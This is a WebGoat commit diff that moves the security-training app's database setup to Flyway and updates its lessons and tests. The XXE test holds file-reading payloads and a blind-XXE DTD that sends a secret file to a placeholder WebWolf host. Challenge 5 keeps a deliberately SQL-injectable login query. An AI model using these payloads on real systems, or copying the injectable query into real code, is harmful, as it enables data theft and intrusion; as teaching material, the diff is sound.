Fix merge request

This commit is contained in:
Nanne Baars
2019-10-19 17:17:54 +02:00
committed by Nanne Baars
parent d73875e8e8
commit 25dae3a4a8
79 changed files with 900 additions and 2286 deletions
webgoat-container
webgoat-integration-tests/src/test/java/org/owasp/webgoat
webgoat-lessons
challenge
src
main
java
org
owasp
webgoat
resources
chrome-dev-tools
src
test
java
org
owasp
webgoat
chrome_dev_tools
cia
src
main
java
org
owasp
webgoat
test
java
org
owasp
client-side-filtering
src
test
java
org
owasp
webgoat
client_side_filtering
jwt
src
main
java
org
owasp
resources
missing-function-ac
src
main
java
org
owasp
webgoat
missing_ac
test
java
org
owasp
sql-injection
webgoat-server/src/main/java/org/owasp/webgoat
webwolf/src/main

@ -92,6 +92,10 @@
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
<dependency>
<groupId>org.flywaydb</groupId>
<artifactId>flyway-core</artifactId>
</dependency>
<dependency>
<groupId>org.asciidoctor</groupId>
<artifactId>asciidoctorj</artifactId>
@ -100,6 +104,12 @@
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-jpa</artifactId>
<exclusions>
<exclusion>
<artifactId>HikariCP</artifactId>
<groupId>com.zaxxer</groupId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>

@ -0,0 +1,46 @@
package org.owasp.webgoat;
import org.flywaydb.core.Flyway;
import org.owasp.webgoat.service.RestartLessonService;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.DependsOn;
import javax.sql.DataSource;
import java.util.Map;
/**
* Define 2 Flyway instances, 1 for WebGoat itself which it uses for internal storage like users and 1 for lesson
* specific tables we use. This way we clean the data in the lesson database quite easily see {@link RestartLessonService#restartLesson()}
* for how we clean the lesson related tables.
*/
@Configuration
public class DatabaseInitialization {
private final DataSource dataSource;
public DatabaseInitialization(DataSource dataSource) {
this.dataSource = dataSource;
}
@Bean(initMethod = "migrate")
public Flyway flyWayContainer() {
return Flyway
.configure().configuration(
Map.of("driver", "org.hsqldb.jdbc.JDBCDriver"))
.dataSource(dataSource)
.schemas("container")
.locations("db/container")
.load();
}
@Bean(initMethod = "migrate")
@DependsOn("flyWayContainer")
public Flyway flywayLessons() {
return Flyway
.configure().configuration(
Map.of("driver", "org.hsqldb.jdbc.JDBCDriver"))
.dataSource(dataSource)
.load();
}
}

@ -32,17 +32,16 @@ package org.owasp.webgoat;
import org.owasp.webgoat.session.UserSessionData;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.WebgoatContext;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.Scope;
import org.springframework.context.annotation.ScopedProxyMode;
import org.springframework.web.client.RestTemplate;
import java.io.File;
@SpringBootApplication
@Configuration
public class WebGoat {
@Bean(name = "pluginTargetDirectory")
@ -52,8 +51,8 @@ public class WebGoat {
@Bean
@Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
public WebSession webSession(WebgoatContext webgoatContext) {
return new WebSession(webgoatContext);
public WebSession webSession() {
return new WebSession();
}
@Bean

@ -25,6 +25,7 @@ package org.owasp.webgoat.service;
import lombok.AllArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.flywaydb.core.Flyway;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.users.UserTracker;
@ -34,25 +35,15 @@ import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseStatus;
/**
* <p>RestartLessonService class.</p>
*
* @author rlawson
* @version $Id: $Id
*/
@Controller
@AllArgsConstructor
@Slf4j
public class RestartLessonService {
private final WebSession webSession;
private UserTrackerRepository userTrackerRepository;
private final UserTrackerRepository userTrackerRepository;
private final Flyway flywayLessons;
/**
* Returns current lesson
*
* @return a {@link java.lang.String} object.
*/
@RequestMapping(path = "/service/restartlesson.mvc", produces = "text/text")
@ResponseStatus(value = HttpStatus.OK)
public void restartLesson() {
@ -62,5 +53,8 @@ public class RestartLessonService {
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
userTracker.reset(al);
userTrackerRepository.save(userTracker);
flywayLessons.clean();
flywayLessons.migrate();
}
}

@ -1,129 +0,0 @@
package org.owasp.webgoat.session;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.HashMap;
import java.util.Map;
/**
*************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 20014 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
*
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @version $Id: $Id
*/
//TODO: class we need to refactor to new structure, we can put the connection in the current session of the user
// start using jdbc template
public class DatabaseUtilities
{
private static Map<String, Connection> connections = new HashMap<String, Connection>();
private static Map<String, Boolean> dbBuilt = new HashMap<String, Boolean>();
/**
* <p>getConnection.</p>
*
* @param s a {@link org.owasp.webgoat.session.WebSession} object.
* @return a {@link java.sql.Connection} object.
* @throws java.sql.SQLException if any.
*/
public static Connection getConnection(WebSession s) throws SQLException
{
return getConnection(s.getUserName(), s.getWebgoatContext());
}
/**
* <p>getConnection.</p>
*
* @param user a {@link java.lang.String} object.
* @param context a {@link org.owasp.webgoat.session.WebgoatContext} object.
* @return a {@link java.sql.Connection} object.
* @throws java.sql.SQLException if any.
*/
public static synchronized Connection getConnection(String user, WebgoatContext context) throws SQLException
{
Connection conn = connections.get(user);
if (conn != null && !conn.isClosed()) return conn;
conn = makeConnection(user, context);
connections.put(user, conn);
if (dbBuilt.get(user) == null)
{
new CreateDB().makeDB(conn);
dbBuilt.put(user, Boolean.TRUE);
}
return conn;
}
/**
* <p>returnConnection.</p>
*
* @param user a {@link java.lang.String} object.
*/
public static synchronized void returnConnection(String user)
{
try
{
Connection connection = connections.get(user);
if (connection == null || connection.isClosed()) return;
if (connection.getMetaData().getDatabaseProductName().toLowerCase().contains("oracle")) connection.close();
} catch (SQLException sqle)
{
sqle.printStackTrace();
}
}
private static Connection makeConnection(String user, WebgoatContext context) throws SQLException
{
try
{
Class.forName(context.getDatabaseDriver());
if (context.getDatabaseConnectionString().contains("hsqldb")) return getHsqldbConnection(user, context);
String userPrefix = context.getDatabaseUser();
String password = context.getDatabasePassword();
String url = context.getDatabaseConnectionString();
return DriverManager.getConnection(url, userPrefix + "_" + user, password);
} catch (ClassNotFoundException cnfe)
{
cnfe.printStackTrace();
throw new SQLException("Couldn't load the database driver: " + cnfe.getLocalizedMessage());
}
}
private static Connection getHsqldbConnection(String user, WebgoatContext context) throws ClassNotFoundException,
SQLException
{
String url = context.getDatabaseConnectionString().replace("{USER}", user);
return DriverManager.getConnection(url, "sa", "");
}
}

@ -41,39 +41,12 @@ public class WebSession implements Serializable {
private static final long serialVersionUID = -4270066103101711560L;
private final WebGoatUser currentUser;
private final WebgoatContext webgoatContext;
private Lesson currentLesson;
/**
* Constructor for the WebSession object
*
* @param webgoatContext a {@link org.owasp.webgoat.session.WebgoatContext} object.
*/
public WebSession(WebgoatContext webgoatContext) {
this.webgoatContext = webgoatContext;
public WebSession() {
this.currentUser = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
}
/**
* <p> getConnection. </p>
*
* @param s a {@link org.owasp.webgoat.session.WebSession} object.
* @return a {@link java.sql.Connection} object.
* @throws java.sql.SQLException if any.
*/
public static synchronized Connection getConnection(WebSession s) throws SQLException {
return DatabaseUtilities.getConnection(s);
}
/**
* <p> returnConnection. </p>
*
* @param s a {@link org.owasp.webgoat.session.WebSession} object.
*/
public static void returnConnection(WebSession s) {
DatabaseUtilities.returnConnection(s.getUserName());
}
/**
* <p> Setter for the field <code>currentScreen</code>. </p>
*
@ -100,13 +73,4 @@ public class WebSession implements Serializable {
public String getUserName() {
return currentUser.getUsername();
}
/**
* <p> Getter for the field <code>webgoatContext</code>. </p>
*
* @return a {@link org.owasp.webgoat.session.WebgoatContext} object.
*/
public WebgoatContext getWebgoatContext() {
return webgoatContext;
}
}

@ -1,187 +0,0 @@
package org.owasp.webgoat.session;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.context.annotation.Configuration;
/**
* <p>WebgoatContext class.</p>
*
* @version $Id: $Id
* @author dm
*/
@Configuration
public class WebgoatContext {
@Value("${webgoat.database.connection.string}")
private String databaseConnectionString;
private String realConnectionString = null;
@Value("${webgoat.database.driver}")
private String databaseDriver;
private String databaseUser;
private String databasePassword;
private boolean showCookies = false;
private boolean showParams = false;
private boolean showRequest = false;
private boolean showSource = false;
private boolean showSolution = false;
private boolean enterprise = false;
private boolean codingExercises = false;
@Value("${webgoat.feedback.address}")
private String feedbackAddress;
@Value("${webgoat.feedback.address.html}")
private String feedbackAddressHTML = "";
private boolean isDebug = false;
@Value("${webgoat.default.language}")
private String defaultLanguage;
/**
* returns the connection string with the real path to the database
* directory inserted at the word PATH
*
* @return The databaseConnectionString value
*/
public String getDatabaseConnectionString() {
return this.databaseConnectionString;
}
/**
* Gets the databaseDriver attribute of the WebSession object
*
* @return The databaseDriver value
*/
public String getDatabaseDriver() {
return (databaseDriver);
}
/**
* Gets the databaseUser attribute of the WebSession object
*
* @return The databaseUser value
*/
public String getDatabaseUser() {
return (databaseUser);
}
/**
* Gets the databasePassword attribute of the WebSession object
*
* @return The databasePassword value
*/
public String getDatabasePassword() {
return (databasePassword);
}
/**
* <p>isEnterprise.</p>
*
* @return a boolean.
*/
public boolean isEnterprise() {
return enterprise;
}
/**
* <p>isCodingExercises.</p>
*
* @return a boolean.
*/
public boolean isCodingExercises() {
return codingExercises;
}
/**
* <p>Getter for the field <code>feedbackAddress</code>.</p>
*
* @return a {@link java.lang.String} object.
*/
public String getFeedbackAddress() {
return feedbackAddress;
}
/**
* <p>Getter for the field <code>feedbackAddressHTML</code>.</p>
*
* @return a {@link java.lang.String} object.
*/
public String getFeedbackAddressHTML() {
return feedbackAddressHTML;
}
/**
* <p>isDebug.</p>
*
* @return a boolean.
*/
public boolean isDebug() {
return isDebug;
}
/**
* <p>isShowCookies.</p>
*
* @return a boolean.
*/
public boolean isShowCookies() {
return showCookies;
}
/**
* <p>isShowParams.</p>
*
* @return a boolean.
*/
public boolean isShowParams() {
return showParams;
}
/**
* <p>isShowRequest.</p>
*
* @return a boolean.
*/
public boolean isShowRequest() {
return showRequest;
}
/**
* <p>isShowSource.</p>
*
* @return a boolean.
*/
public boolean isShowSource() {
return showSource;
}
/**
* <p>isShowSolution.</p>
*
* @return a boolean.
*/
public boolean isShowSolution() {
return showSolution;
}
/**
* <p>Getter for the field <code>defaultLanguage</code>.</p>
*
* @return a {@link java.lang.String} object.
*/
public String getDefaultLanguage() {
return defaultLanguage;
}
}

@ -1,6 +1,5 @@
server.error.include-stacktrace=always
server.error.path=/error.html
server.session.timeout=600
server.servlet.context-path=/WebGoat
server.port=${WEBGOAT_PORT:8080}
server.address=${WEBGOAT_HOST:127.0.0.1}
@ -10,13 +9,12 @@ server.ssl.key-store=${WEBGOAT_KEYSTORE:classpath:goatkeystore.pkcs12}
server.ssl.key-store-password=${WEBGOAT_KEYSTORE_PASSWORD:password}
server.ssl.key-alias=${WEBGOAT_KEY_ALIAS:goat}
server.ssl.enabled=${WEBGOAT_SSLENABLED:false}
security.require-ssl=${WEBGOAT_SSLENABLED:false}
hsqldb.port=${WEBGOAT_HSQLPORT:9001}
spring.datasource.url=jdbc:hsqldb:hsql://${server.address}:${hsqldb.port}/webgoat
spring.jpa.hibernate.ddl-auto=update
spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect
spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver
spring.jpa.properties.hibernate.default_schema=CONTAINER
logging.level.org.thymeleaf=INFO
logging.level.org.thymeleaf.TemplateEngine.CONFIG=INFO
@ -38,7 +36,6 @@ webgoat.email=webgoat@owasp.org
webgoat.emaillist=owasp-webgoat@lists.owasp.org
webgoat.feedback.address=webgoat@owasp.org
webgoat.feedback.address.html=<A HREF=mailto:webgoat@owasp.org>webgoat@owasp.org</A>
webgoat.database.driver=org.hsqldb.jdbcDriver
webgoat.database.connection.string=jdbc:hsqldb:mem:{USER}
webgoat.default.language=en

@ -0,0 +1,64 @@
CREATE SCHEMA CONTAINER;
CREATE SEQUENCE CONTAINER.HIBERNATE_SEQUENCE AS INTEGER START WITH 1;
CREATE TABLE CONTAINER.ASSIGNMENT (
ID BIGINT NOT NULL PRIMARY KEY,
NAME VARCHAR(255),
PATH VARCHAR(255)
);
CREATE TABLE CONTAINER.LESSON_TRACKER(
ID BIGINT NOT NULL PRIMARY KEY,
LESSON_NAME VARCHAR(255),
NUMBER_OF_ATTEMPTS INTEGER NOT NULL
);
CREATE TABLE CONTAINER.LESSON_TRACKER_ALL_ASSIGNMENTS(
LESSON_TRACKER_ID BIGINT NOT NULL,
ALL_ASSIGNMENTS_ID BIGINT NOT NULL,
PRIMARY KEY(LESSON_TRACKER_ID,ALL_ASSIGNMENTS_ID),
CONSTRAINT FKNHIDKE27BCJHI8C7WJ9QW6Y3Q FOREIGN KEY(ALL_ASSIGNMENTS_ID) REFERENCES CONTAINER.ASSIGNMENT(ID),
CONSTRAINT FKBM51QSDJ7N17O2DNATGAMW7D FOREIGN KEY(LESSON_TRACKER_ID) REFERENCES CONTAINER.LESSON_TRACKER(ID),
CONSTRAINT UK_SYGJY2S8O8DDGA2K5YHBMUVEA UNIQUE(ALL_ASSIGNMENTS_ID)
);
CREATE TABLE CONTAINER.LESSON_TRACKER_SOLVED_ASSIGNMENTS(
LESSON_TRACKER_ID BIGINT NOT NULL,
SOLVED_ASSIGNMENTS_ID BIGINT NOT NULL,
PRIMARY KEY(LESSON_TRACKER_ID,SOLVED_ASSIGNMENTS_ID),
CONSTRAINT FKPP850U1MG09YKKL2EQGM0TRJK FOREIGN KEY(SOLVED_ASSIGNMENTS_ID) REFERENCES CONTAINER.ASSIGNMENT(ID),
CONSTRAINT FKNKRWGA1UHLOQ6732SQXHXXSCR FOREIGN KEY(LESSON_TRACKER_ID) REFERENCES CONTAINER.LESSON_TRACKER(ID),
CONSTRAINT UK_9WFYDUY3TVE1XD05LWOUEG0C1 UNIQUE(SOLVED_ASSIGNMENTS_ID)
);
CREATE TABLE CONTAINER.USER_TRACKER(
ID BIGINT NOT NULL PRIMARY KEY,
USERNAME VARCHAR(255)
);
CREATE TABLE CONTAINER.USER_TRACKER_LESSON_TRACKERS(
USER_TRACKER_ID BIGINT NOT NULL,
LESSON_TRACKERS_ID BIGINT NOT NULL,
PRIMARY KEY(USER_TRACKER_ID,LESSON_TRACKERS_ID),
CONSTRAINT FKQJSTCA3YND3OHP35D50PNUH3H FOREIGN KEY(LESSON_TRACKERS_ID) REFERENCES CONTAINER.LESSON_TRACKER(ID),
CONSTRAINT FKC9GX8INK7LRC79XC77O2MN9KE FOREIGN KEY(USER_TRACKER_ID) REFERENCES CONTAINER.USER_TRACKER(ID),
CONSTRAINT UK_5D8N5I3IC26CVF7DF7N95DOJB UNIQUE(LESSON_TRACKERS_ID)
);
CREATE TABLE CONTAINER.WEB_GOAT_USER(
USERNAME VARCHAR(255) NOT NULL PRIMARY KEY,
PASSWORD VARCHAR(255),
ROLE VARCHAR(255)
);
CREATE TABLE CONTAINER.EMAIL(
ID BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 1) NOT NULL PRIMARY KEY,
CONTENTS VARCHAR(1024),
RECIPIENT VARCHAR(255),
SENDER VARCHAR(255),
TIME TIMESTAMP,
TITLE VARCHAR(255)
);
ALTER TABLE CONTAINER.EMAIL ALTER COLUMN ID RESTART WITH 2;

@ -0,0 +1,27 @@
package org.owasp.webgoat;
import org.hsqldb.jdbc.JDBCDriver;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
import org.springframework.context.annotation.Bean;
import org.springframework.jdbc.datasource.DriverManagerDataSource;
import javax.sql.DataSource;
import java.sql.DriverManager;
import java.sql.SQLException;
@SpringBootApplication
public class TestApplication {
/**
* We define our own datasource, otherwise we end up with Hikari one which for some lessons will
* throw an error (feature not supported)
*/
@Bean
@ConditionalOnProperty(prefix = "webgoat.start", name = "hsqldb", havingValue = "false")
public DataSource dataSource(@Value("${spring.datasource.url}") String url) throws SQLException {
DriverManager.registerDriver(new JDBCDriver());
return new DriverManagerDataSource(url);
}
}

@ -4,7 +4,6 @@ import org.junit.Before;
import org.owasp.webgoat.i18n.Language;
import org.owasp.webgoat.i18n.PluginMessages;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.WebgoatContext;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.mock.mockito.MockBean;
@ -34,8 +33,7 @@ public abstract class LessonTest {
protected PluginMessages messages;
@MockBean
protected WebSession webSession;
@Autowired
private WebgoatContext context;
@MockBean
private Language language;
@ -43,7 +41,6 @@ public abstract class LessonTest {
public void init() {
when(webSession.getUserName()).thenReturn("unit-test");
when(language.getLocale()).thenReturn(Locale.getDefault());
when(webSession.getWebgoatContext()).thenReturn(context);
}
}

@ -5,10 +5,12 @@ import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
import org.springframework.test.context.ActiveProfiles;
import org.springframework.test.context.junit4.SpringRunner;
@DataJpaTest
@RunWith(SpringRunner.class)
@ActiveProfiles({"test", "webgoat"})
public class UserRepositoryTest {
@Autowired
@ -24,6 +26,4 @@ public class UserRepositoryTest {
Assertions.assertThat(user.getUsername()).isEqualTo("test");
Assertions.assertThat(user.getPassword()).isEqualTo("password");
}
}

@ -9,12 +9,14 @@ import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.Lesson;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
import org.springframework.test.context.ActiveProfiles;
import org.springframework.test.context.junit4.SpringRunner;
import java.util.List;
@DataJpaTest
@RunWith(SpringRunner.class)
@ActiveProfiles({"test", "webgoat"})
public class UserTrackerRepositoryTest {
private class TestLesson extends Lesson {
@ -44,7 +46,6 @@ public class UserTrackerRepositoryTest {
@Autowired
private UserTrackerRepository userTrackerRepository;
@Test
public void saveUserTracker() {
UserTracker userTracker = new UserTracker("test");

@ -1,4 +1,5 @@
webgoat.user.directory=${java.io.tmpdir}
spring.datasource.url=jdbc:hsqldb:mem:test
spring.jpa.hibernate.ddl-auto=create-drop
webgoat.start.hsqldb=false
spring.flyway.locations=classpath:/db/container

@ -25,7 +25,7 @@ public abstract class IntegrationTest {
private static String WEBGOAT_URL = "http://127.0.0.1:" + WG_PORT + "/WebGoat/";
private static String WEBWOLF_URL = "http://127.0.0.1:" + WW_PORT + "/";
private static boolean WG_SSL = false;//enable this if you want to run the test on ssl
@Getter
private String webGoatCookie;
@Getter
@ -37,18 +37,16 @@ public abstract class IntegrationTest {
@BeforeClass
public static void beforeAll() {
if (WG_SSL) {
if (WG_SSL) {
WEBGOAT_URL = WEBGOAT_URL.replace("http:","https:");
}
if (!started) {
if (!started) {
started = true;
if (!isAlreadyRunning(WG_PORT)) {
SpringApplicationBuilder wgs = new SpringApplicationBuilder(StartWebGoat.class)
.properties(Map.of("spring.config.name", "application-webgoat,application-inttest", "WEBGOAT_SSLENABLED", WG_SSL, "WEBGOAT_PORT", WG_PORT));
wgs.run();
}
if (!isAlreadyRunning(WW_PORT)) {
SpringApplicationBuilder wws = new SpringApplicationBuilder(WebWolf.class)
@ -80,13 +78,13 @@ public abstract class IntegrationTest {
@Before
public void login() {
String location = given()
.when()
.relaxedHTTPSValidation()
.formParam("username", webgoatUser)
.formParam("password", "password")
.post(url("login")).then()
.post(url("login")).then()
.cookie("JSESSIONID")
.statusCode(302)
.extract().header("Location");
@ -212,7 +210,7 @@ public abstract class IntegrationTest {
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/lessonoverview.mvc"))
.then()
.then()
.statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true)));
Assert.assertThat(RestAssured.given()
@ -238,22 +236,21 @@ public abstract class IntegrationTest {
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
}
public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
Assert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.cookie("JSESSIONID", getWebGoatCookie())
.queryParams(params)
.get(url)
.get(url)
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
}
public String getWebGoatServerPath() throws IOException {
//read path from server
String result = RestAssured.given()
.when()
@ -265,9 +262,9 @@ public abstract class IntegrationTest {
result = result.replace("%20", " ");
return result;
}
public String getWebWolfServerPath() throws IOException {
//read path from server
String result = RestAssured.given()
.when()
@ -279,6 +276,6 @@ public abstract class IntegrationTest {
result = result.replace("%20", " ");
return result;
}
}

@ -39,14 +39,14 @@ public class SqlInjectionLessonTest extends IntegrationTest {
params.put("query", sql_3);
checkAssignment(url("/WebGoat/SqlInjection/attack3"), params, true);
params.clear();
params.put("query", sql_4_drop);
checkAssignment(url("/WebGoat/SqlInjection/attack4"), params, false);
params.clear();
params.put("query", sql_4_add);
checkAssignment(url("/WebGoat/SqlInjection/attack4"), params, true);
params.clear();
params.put("query", sql_4_drop);
checkAssignment(url("/WebGoat/SqlInjection/attack4"), params, false);
params.clear();
params.put("query", sql_5);
checkAssignment(url("/WebGoat/SqlInjection/attack5"), params, true);

@ -16,70 +16,59 @@ public class XXETest extends IntegrationTest {
private static final String xxe4 = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE user [<!ENTITY xxe SYSTEM \"file:///\">]><comment><text>&xxe;test</text></comment>";
private static final String dtd7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!ENTITY % file SYSTEM \"file:SECRET\"><!ENTITY % all \"<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>\">%all;";
private static final String xxe7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM \"WEBWOLFURL/USERNAME/blind.dtd\">%remote;]><comment><text>test&send;</text></comment>";
private String webGoatHomeDirectory;
private String webwolfFileDir;
@Test
public void runTests() throws IOException {
startLesson("XXE");
webGoatHomeDirectory = getWebGoatServerPath();
webwolfFileDir = getWebWolfServerPath();
checkAssignment(url("/WebGoat/xxe/simple"),ContentType.XML,xxe3,true);
checkAssignment(url("/WebGoat/xxe/content-type"),ContentType.XML,xxe4,true);
checkAssignment(url("/WebGoat/xxe/blind"),ContentType.XML,"<comment><text>"+getSecret()+"</text></comment>",true );
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", true);
checkResults("xxe/");
}
/**
* This performs the steps of the exercise before the secret can be committed in the final step.
*
* @return
* @throws IOException
*/
private String getSecret() throws IOException {
//remove any left over DTD
Path webWolfFilePath = Paths.get(webwolfFileDir);
if (webWolfFilePath.resolve(Paths.get(getWebgoatUser(),"blind.dtd")).toFile().exists()) {
Files.delete(webWolfFilePath.resolve(Paths.get(getWebgoatUser(),"blind.dtd")));
//remove any left over DTD
Path webWolfFilePath = Paths.get(webwolfFileDir);
if (webWolfFilePath.resolve(Paths.get(getWebgoatUser(), "blind.dtd")).toFile().exists()) {
Files.delete(webWolfFilePath.resolve(Paths.get(getWebgoatUser(), "blind.dtd")));
}
String secretFile = webGoatHomeDirectory.concat("/XXE/secret.txt");
String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
//upload DTD
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", "blind.dtd", dtd7String.getBytes())
.post(webWolfUrl("/WebWolf/fileupload"))
.then()
.extract().response().getBody().asString();
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", "blind.dtd", dtd7String.getBytes())
.post(webWolfUrl("/WebWolf/fileupload"))
.then()
.extract().response().getBody().asString();
//upload attack
String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", getWebgoatUser());
checkAssignment(url("/WebGoat/xxe/blind?send=test"),ContentType.XML,xxe7String,false );
checkAssignment(url("/WebGoat/xxe/blind?send=test"), ContentType.XML, xxe7String, false);
//read results from WebWolf
String result = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/requests"))
.then()
.extract().response().getBody().asString();
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/requests"))
.then()
.extract().response().getBody().asString();
result = result.replace("%20", " ");
result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("),result.lastIndexOf("WebGoat 8.0 rocks... (")+33);
result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("), result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
return result;
}
}

@ -23,96 +23,48 @@
package org.owasp.webgoat.challenges.challenge5;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.RandomStringUtils;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.challenges.Flag;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.WebSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.util.StringUtils;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import java.sql.*;
import javax.sql.DataSource;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import static org.owasp.webgoat.challenges.SolutionConstants.PASSWORD_TOM;
/**
* @author nbaars
* @since 4/8/17.
*/
@RestController
@Slf4j
public class Assignment5 extends AssignmentEndpoint {
//Make it more random at runtime (good luck guessing)
private static final String USERS_TABLE_NAME = "challenge_users_" + RandomStringUtils.randomAlphabetic(16);
private final DataSource dataSource;
@Autowired
private WebSession webSession;
public Assignment5(DataSource dataSource) {
this.dataSource = dataSource;
}
@PostMapping("/challenge/5")
@ResponseBody
public AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {
Connection connection = DatabaseUtilities.getConnection(webSession);
checkDatabase(connection);
if (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) {
return failed().feedback("required4").build();
}
if (!"Larry".equals(username_login)) {
return failed().feedback("user.not.larry").feedbackArgs(username_login).build();
}
try (var connection = dataSource.getConnection()) {
PreparedStatement statement = connection.prepareStatement("select password from challenge_users where userid = '" + username_login + "' and password = '" + password_login + "'");
ResultSet resultSet = statement.executeQuery();
PreparedStatement statement = connection.prepareStatement("select password from " + USERS_TABLE_NAME + " where userid = '" + username_login + "' and password = '" + password_login + "'");
ResultSet resultSet = statement.executeQuery();
if (resultSet.next()) {
return success().feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(5)).build();
} else {
return failed().feedback("challenge.close").build();
if (resultSet.next()) {
return success().feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(5)).build();
} else {
return failed().feedback("challenge.close").build();
}
}
}
private void checkDatabase(Connection connection) throws SQLException {
try {
Statement statement = connection.createStatement();
statement.execute("select 1 from " + USERS_TABLE_NAME);
} catch (SQLException e) {
createChallengeTable(connection);
}
}
private void createChallengeTable(Connection connection) {
Statement statement = null;
try {
statement = connection.createStatement();
String dropTable = "DROP TABLE " + USERS_TABLE_NAME;
statement.executeUpdate(dropTable);
} catch (SQLException e) {
log.info("Delete failed, this does not point to an error table might not have been present...");
}
log.debug("Challenge 5 - Creating tables for users {}", USERS_TABLE_NAME);
try {
String createTableStatement = "CREATE TABLE " + USERS_TABLE_NAME
+ " (" + "userid varchar(250),"
+ "email varchar(30),"
+ "password varchar(30)"
+ ")";
statement.executeUpdate(createTableStatement);
String insertData1 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('larry', 'larry@webgoat.org', 'larryknows')";
String insertData2 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('tom', 'tom@webgoat.org', '" + PASSWORD_TOM + "')";
